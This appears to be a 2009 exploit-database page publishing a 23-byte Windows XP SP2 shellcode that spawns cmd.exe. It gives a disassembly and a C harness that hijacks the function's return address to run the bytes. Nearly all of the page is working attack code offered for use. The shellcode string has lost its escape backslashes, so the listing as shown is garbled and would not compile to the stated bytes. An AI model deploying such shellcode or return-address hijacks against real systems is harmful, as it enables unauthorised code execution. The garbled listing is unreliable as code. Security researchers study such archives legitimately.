[Exploit]  [Remote]  [Local]  [Web Apps]  [Dos/Poc]  [Shellcode]  [RSS]

# Title : win32/xp sp2 (En) cmd.exe 23 bytes
# Published : 2009-07-17
# Author : Stack
# Previous Title : Windows x86 null-free bindshell for Windows 5.0-7.0 all service packs
# Next Title : Linux/x86 Port Binding Shellcode (xor-encoded) 152 bytes


/*
win32/xp sp2 (En) cmd.exe 23 bytes
Author : Mountassif Moad
A.K.A : Stack
Description : It's a 23 Byte Shellcode which Execute Cmd.exe Tested Under Windows Xp SP2 En

get the following if we disassemle this code compiled with olly debugger
 
00402000  > 8BEC             MOV EBP,ESP
00402002  . 68 65786520      PUSH 20657865
00402007  . 68 636D642E      PUSH 2E646D63
0040200C  . 8D45 F8          LEA EAX,DWORD PTR SS:[EBP-8]
0040200F  . 50               PUSH EAX
00402010  . B8 8D15867C      MOV EAX,kernel32.WinExec
00402015  . FFD0             CALL EAX
*/
#include <stdio.h>
unsigned char shellcode[] =
                        "x8bxecx68x65x78x65"
                        "x20x68x63x6dx64x2e"
                        "x8dx45xf8x50xb8x8D"
                        "x15x86x7Cxffxd0";
int main ()
{
int *ret;
ret=(int *)&ret+2;
printf("Shellcode Length is : %dn",strlen(shellcode));
(*ret)=(int)shellcode;
return 0;
}

// www.Syue.com [2009-07-17]